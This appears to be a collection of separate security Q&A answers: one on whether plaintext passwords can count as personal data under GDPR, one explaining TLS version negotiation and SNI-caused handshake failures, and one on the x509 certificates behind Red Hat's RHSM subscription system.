However, remember that if you have the plain text password and someone has used something personal as their password, maybe firstname_lastname_dob , that could be construed as personally identifiable.

Standard caveat: This is not legal advice, I am not a lawyer but I am based in the EU and working on a team ensuing GDPR compliance for a company processing sensitive data.


SSL3 error when requesting connection using TLS 1.2

In SSL/TLS, the client does not request a specific protocol version; the client announces the maximum protocol version that it supports, and then the server chooses the protocol version that will be used. Your client does not tell "let's use TLS 1.2"; it says "I know up to TLS 1.2".

A client may have its own extra requirements, but there is no room to state them in the ClientHello message. If the client wants to do TLS 1.2 only, then he must announce "up to TLS 1.2" in its ClientHello, and also close the connection if the server responds with a message that says anything else than "let's do TLS 1.2". In your case, things did not even reach that point: the server responded with a fatal alert 40 ("handshake_failure", see the standard). As @dave_thompson_085 points out, this is due to a lack of SNI: this is an extension by which the client documents in its ClientHello message the name of the target server. SNI is needed by some servers because they host several SSL-enabled sites on the same IP address, and need that parameter to know which certificate they should use. The command-line tool openssl s_client can send an SNI with an explicit -servername option.

As @Steffen explained, SSL 3.0 and all TLS versions are quite similar and use the same record format (at least in the early stage of the handshake) so OpenSSL tends to reuse the same functions. Note that since the server does not respond with a ServerHello at all, the protocol version is not yet chosen, and SSL 3.0 is still, at least conceptually, a possibility at that early point of the handshake.


Cryptography behind RedHat subscription system (DRM)?

RHSM is the new x509 based PKI solution to their older RHN subscription manager.

Unlike RHN which provided authorization only for registered systems, RHSM provides authentication, authorization and repudiation based on certificates.

Those certificates rely on your typical asymmetric encryption making use of private and public keys to generate and sign the x509 certificates used for authenticating and authorizing subscription based updates.

If you are looking for the specific algorithms used to generate the keys you can always use the OpenSSL command line tool to examine the ASN.1 structure to determine that.

openssl x509 -text -noout -in